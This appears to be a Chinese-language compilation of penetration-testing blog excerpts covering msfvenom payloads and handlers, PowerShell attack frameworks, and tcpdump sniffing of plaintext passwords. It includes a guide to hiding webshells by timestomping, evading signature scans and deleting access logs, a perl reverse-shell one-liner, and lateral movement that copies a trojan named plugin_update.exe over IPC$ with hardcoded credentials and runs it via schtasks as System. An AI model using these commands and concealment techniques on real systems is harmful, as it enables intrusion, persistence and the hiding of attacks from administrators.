Msfvenom 进阶 [暂未完...]
0x01 msfvenom 常规选项用途:1
2
3
4
5
6
7
8
9-l 列出所有可用的payload,编码器,空指令……
-p 指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
-f 指定payload输出的文件类型,--help-formats,可查看支持的所有输出格式
-e 指定要使用那种编码器
-i 指定编码的次数,如果使用编码器
-b 指定坏字符,比如空字符截断问题,等等……
-x 使用一个自定义可执行程序模板,并将payload嵌入其中
-k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
-o 指定创建好的payload的存放位置
0x02 首先,创建好监听器,等待shell回连,务必注意,创建什么类型的payload就要用什么类型的监听器来接收,必须一一对应,此处就以最普通的tcp监听器为例1
2
3
4
5msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 443
msf > set lhost 192.168.3.12
msf > exploit -j
Linux下的嗅探实践 [Tcpdump篇]
单单对于渗透而言,我们可以拿 tcpdump 干些什么:
从工具命名不难看出,所谓 tcpdump 的意思,其实就是把 tcp 的数据[当然啦,它并非仅仅支持tcp/ip协议族] dump下来,我想作者应该也是这个意思,在常规生产环境中,运维或者协议分析师可能主要用它来捕捉一些敏感的流量行为(通过不同的数据特征来辨别出哪些流量可能带有入侵或者攻击行为),排查诊断各种网络故障,或者专门针对某个工具进行逆向(流量)分析等等……,就tcpdump本身来讲,它能做的事情非常多,真要仔细讲,可能会像wireshark那样,又得出本书,工具虽然小巧,但用途良多,下面就我们单单就实际渗透过程中的一些用法做些简单科普,主要还是用它来抓抓明文密码[当然,它本身的强大绝非仅限于此,个人能力有限,也没一下子涉及那么多,今天只单单说一个点(可能连个点都算不上吧,基本是没有任何技术含量的)]
以centos 6.x中的具体编译安装为例[在其它的发行版中安装方法基本类似],都非常简单,但考虑到文章的完整性想想还是一并说了算了(主要是想让大家能快速上手),工具是开源的(基于c,安装自然需要c编译器[gcc]),请自行到官方站点下载其源码包:
http://www.tcpdump.org/
Powershell 渗透框架 [Empire]
0x01 前言:
对于empire
[说实话确实有些老了] 想必大家也都已经不再陌生,很多人说它是神器
,嘿嘿……原谅我一直也没搞清楚神器
的具体定义到底是什么[虽然,我知道这对于实际渗透并没任何卵用],也许在我有限的认知里,一直都以为只有能在千里之外轻松get到目标系统的system或者root权限的shell的0day
才叫神器,如果动不动就把某个确实好用点儿的脚本或者工具就叫神器,未免有点儿草率,也显得不稳重,不是吗,自己有个比较野蛮的习惯,在用别人工具的时候,总是忍不住会观察,因为想尽可能理解它的内部实现[最好也是最直接的一手学习资料],如果换成是我自己这代码会怎么写呢
,虽然是后知后觉,但拓展出来的思路足以让自己受益良多[站在别人的肩膀上可以走的更快,这是真的],虽然,自己并没有再把代码把它实现一遍,但对整个工具架构实现已经有了更清晰的理解和把握,到了实际用的时候自然就不一样了[更灵活点儿嘛],以后再看到类似的工具,可能一眼就能看透个百分之七八十,嘿嘿……纯粹是个人喜好哈,听过就好,废话过后,咱们说正题,今天主要是对empire中一些好用的powershell脚本做些简要的使用说明,当然啦,自己已经事先把empire中的powershell脚本选择性的提取了一下,因为我们的重点还是powershell,并非empire脚本本身,整个过程中也不会有任何涉及工具自身使用的东西,其实,empire使用真的非常简单,命令帮助已经写的非常详细了,看看帮助相信大家很快就能上手,不过整个工具最核心的东西还是这些ps脚本[对于一个职业渗透者来讲,您应该一开始就尽量朝着你所能理解的本质去,慢慢的,一旦养成这种习惯,同一个东西,你往往能看见别人看不见的一些小细节],因为这中间有很多脚本跟之前是重复的,所以就选择性的说一些,脚本使用都非常简单,就不再一一截图了,实在是好累啊,还是那句话,关键是大家能在实际渗透中用上,别的都是扯淡
Powershell 渗透框架 [PowerSploit]
0x01 前言:
和nishang一样,PowerSploit也是一款非常实用的powershell渗透框架,下面就其用法做些简要说明1
Set-ExecutionPolicy Unrestricted 还是一样,先放开脚本执行限制,实际渗透中自己bypass一下就好了
0x02 命令执行类模块 [CodeExecution]:1
2
3Invoke-Shellcode.ps1 向指定进程中注入我们的shellcode,我们可以通过这种方式弹回一个meterpreter,注意shellcode系统位数版本要跟目标的系统一致才行,另外,权限务够也是必须的
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f powershell -o /root/Desktop/shell.txt
# msfconsole 监听刚才的payload配置
Powershell 渗透框架[ Nishang ]
0x01 前言
注意,powershell只能针对win7以后的系统使用,此之前的win系统是没有引入powershell的,powershell是什么这里就不废话了,大家请自行谷歌,在使用各种powrshell脚本过程中,系统权限自然也是越高越好,权限越大你能在系统中操作的范围就越广,至于为什么要选择powershell,想必大家早已心知肚明,免杀,可直接跟系统api交互,容易定制,轻量,远程加载执行,对目标系统的影响极小……好处众多,这里就不多啰嗦了,说破天,我们最终的目的还是希望能在实际渗透中把它用起来,不然,实际价值何在呢
0x02 关于nishang
今天我们就先来看看第一款powershell渗透框架其实,个人觉得把它称为powershell渗透框架似乎更合适些
,nishang
[想必现在早已家喻户晓],关于nishang中的各个ps脚本的选项用法,在其脚本代码的最前面都有详细说明,使用前请务必仔细阅读,因为系统默认是禁止执行ps脚本的,所以实际用的时候后面都会带上bypass选项1
2Set-ExecutionPolicy Unrestricted 如果你得到的是一个交互式的ps shell,也可以用该命令来放开脚本执行限制
# powershell –exec bypass –Command "Get-Host | Select-Object Version" 查看当前powershell版本,有些脚本只能在指定的powershell版本中执行
放心地种下你的Webshell 之 Webshell隐藏小记
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17拿到webshell以后的第一件事儿,就是顺手把webshell时间属性改为和同目录下其它文件相同的时间戳,一般在大马里或其它的一些webshell管理工具都提供了类似的功能
尽量放在那些程序员和管理都不会经常光顾到的目录中,比如:各种第三方工具(phpmyadmin)的一些插件目录,主题目录以及临时目录等等……
webshell所在目录层级自然是越深越好,平时网站不出问题的话,一般四五级目录下很少会被人注意到……
webshell的名字尽量不要太招摇,尤其是像带有shell,spy,hack,0day,love,shit……这种很典型常见的关键字(我们渗透最最终的目的还是希望拿到自己想要的东西而不被人察觉,不要因为自己的无知和愚蠢,而造成一些不必要的麻烦),……,在给webshell起名字的时候尽量模仿着当前目录的一些名字特征来取,以混淆视听,比如,我们在目标网站目录中,发现有个叫'node.tpl.php'的文件,那我们就可以模仿他取个叫'plugins.tpl.php'的名字,这样相对容易蒙混过关
webshell里面尽量不要用带有类似eval这种的危险特征,如果是在linux中管理员只需要find grep 一句话就能锁定特征,除了eval,还有比如:exec,system,passthru,shell_exec,assert……这些函数都最好不要用,你可以尝试创建个自定义函数,然后调用它,函数里面可以接你的webshell参数,不仅能在一定程度上延长webshell的存活时间,也加大了管理的查找难度,可以暂时性躲避一些功能比较简陋的waf查杀,此外,我们也可以使用一些类似:call_user_func,call_user_func_array,诸如此类的回调函数特性来想办法构造我们的webshell,关于webshell免杀,后续会专门再说,这里先提一嘴
你也可以尝试直接把一句话函数插到目标网站自己的脚本文件里面,当然最好是一个非常不起眼的地方,比如:函数库文件,配置文件里面等等,然后你再到另一个导该函数库的脚本文件中去调用那个一句话…
如果已经拿到服务器权限,可以把网站日志中的所有关于webshell的访问记录以及渗透时造成的一些网站报错记录以及你自己的一些ip访问日志,顺手删掉或者替换都行,如果是linux那就很好办了,sed或者egrep几句话就搞定了,如果windows,嫌麻烦就清空吧,关于记录清理也是个比较大的问题,后续单独说
尝试利用静态文件(比如,各类图片,css,js,html,txt文件等等)隐藏一句话,然后用.htaccess 进行解析,不这过需要目标开启重写才行,例如.htaccess实现自解析,确实比较老套了,基于.htaccess实现的变种其实还有非常多,这里就不一一说了
利用php.ini或者user.ini来解析你的webshell,想必大家也已经用的比较多了,烂大街了
如果是大马的话,尽量把里面的一些注释和作者信息全部都去掉,比如intitle能搜到的各种信息等等,最好先通读代码,把里面的webshell箱子剔除一下,推荐用开源的大马,方便定制,记住,我们的webshell尽量不要编码,因为编码也并不能很好解决waf的问题,你知道的,正常的脚本文件是绝对不会编码的,一旦稍微有经验的程序员或者管理看到这些东西,肯定就会被发现,还有,大马中一般都会带有pass或者password类的字符,建议把这些敏感字段全部换成别的,因为管理依然可以通过这种方式快速定位到我们的webshell
养成好习惯,为了防止权限很快丢失,最好再上传几个备用webshell到不同的目录位置,注意,每个webshell的路径和名字千万不要都一样更不要在同一个目录下,多跳几层,传上去以后确定shell正常访问就可以了,不到万不得已不用去访问它,防止留的日志太多,暴露自己
在你已经有机器权限的情况下,还可以看看管理员还有没有自己写的一些webshell监测脚本,比如一些非常可疑的硬链接
上传图片马,然后再到另一个不起眼的地方尝试去包含它,也是烂大街的东西了,想必大家也已非常熟悉
如果有可能的话,可以抽空审计下目标代码,尝试在正常的代码中利用回掉的方式构造执行自己的webshell,这种没有任何文件的后门确实比较隐蔽
脚本执行完以后进行自删除,然后直接把webshell代码驻留在内存中,当然,这种方式有个非常大的弊端,一旦目标重启web服务就废了
尝试给webshell文件设置一些特殊属性
更多,待续……
小结:
上面这些都是自己根据实际渗透中的一些经验以及基于前人的基础上,顺手整理的,不过,无疑中发现个很有意思的事情,不知道是哪位朋友拿着自己曾经残缺的笔记,发了出去,然后网上转的到处都是,嘿嘿……不过没关系啦,反正我在乎的只是技术本身,除此之外的东西,不值一提,当然,基于上面思路的变种肯定还会有非常非常多,也期待能和大家一起多交流,待续…
你和目标只差一个Shell的距离
0x01 前奏说明
很多时候,不到万不得已的情况下,我们完全没必要非往目标机器里传一堆工具,先不说由于各种防护[不仅仅是杀软的问题],传工具困难重重,有时由于自己的粗心,走的时候很容易把各种工具落在目标机器上,万一哪天被人看见,一看工具就大概知道你上来都干了啥,尤其是很多小伙伴在用别人工具时候也不爱做点儿什么手脚,后果你自然是很懂的,嘿嘿……其实,我一直都建议,如果能利用目标系统自身的环境或者工具帮我们搞定的,最好就直接用那个,也省去了不少的麻烦,比如,最简单的,利用目标系统中自带的各种工具及语言环境帮我们弹回一个简单的可交互shell, 有shell,’夫何求’, 没错,你肯定会说,不就一个shell嘛,我直接用 coablt strike & msf 岂不更好,嘿嘿……其实,这里并不存在争论的点,不错,它俩确实挺好,不过,恶劣的环境总是有的,有时想把它俩用上确实比较费劲,好了,前戏就到此为止吧,下面我们就直奔主题……
0x02 大致环境1
2
3
4win7 192.168.1.128
centos6.8 192.168.1.129
win2008R2 192.168.1.131
kali 192.168.1.147
0x03 关于linux平台下弹shell的一些方式
利用perl的socket,也是个人比较推荐的方式,因为现今几乎所有主流的linux发行版都已经装好了perl,细心的你也许会发现很多大马里弹shell的选项中一般都会有perl,后面bash -i的意思就是执行一个可交互的shell1
2C:\>nc -lvp 53
# perl -e 'use Socket;$i="192.168.1.128";$p=53;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
快速编译安装配置 py2.7 & Jdk 1.7
0x01 前言:
有时迫于无奈,我们需要在目标机器上安装一些自己的工具环境,尤其是linux(默认python版本是2.6.6的,现在有些脚本已经很难跑起来),至于win,其平台下的工具已经非常丰富了,这里就不说了
0x02 编译安装python2.7:1
2
3
4
5
6
7
8
9
10
11
12# yum groupinstall "Development tools" -y
# yum install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel -y
# wget https://www.python.org/ftp/python/2.7.11/Python-2.7.11.tgz
# tar xf Python-2.7.11.tgz
# cd Python-2.7.11
# ./configure --prefix=/usr/local
# make && make install
# echo $?
# python2.7
> import sys
> sys.version
通向彼岸 之内网代理转发 [Msf中的socs4a模块使用及meterpreter多级内网穿透]
0x01 前言:
如果你觉得用别的socks代理工具太麻烦,不用担心,在msf中同样也为我们提供好了用于socks代理的模块[socks4a],虽然它只是基于scoks4的,但对于我们实际渗透来讲,关系并不大
0x02 首先,假设我们已经获取了目标系统的一个meterpreter会话,然后,我们发现在该目标机器上存在内网段,此时,我们想继续对目标该内网进行渗透,然后就有了下面的一些内容
Win内网中利用ipc弹shell 小记
0x01 首先,想办法把马拷到目标机器上再说:1
2# net use \\192.168.3.168\ipc$ /user:administrator "admin!@#45"
# copy shell.exe \\192.168.3.168\c$\windows\temp\plugin_update.exe
0x02 利用最常规的copy[xcopy] & schtasks(按说ipc建立以后,schtasks就不用带账号密码了,尤其我这里还是以system权限运行[本身就不需要账号密码],但实际测试中不带就拒绝访问,至于具体原因,暂未知,保险起见还是带上):1
2
3# schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 10:29 /S 192.168.3.168 /RU System /u administrator /p "admin!@#45"
# schtasks /run /tn "plugin_update" /S 192.168.3.168 /u administrator /p "admin!@#45" 你也可以不用等,让目标立即运行任务
# schtasks /F /delete /tn "plugin_update" /S 192.168.3.168 /u administrator /p "admin!@#45"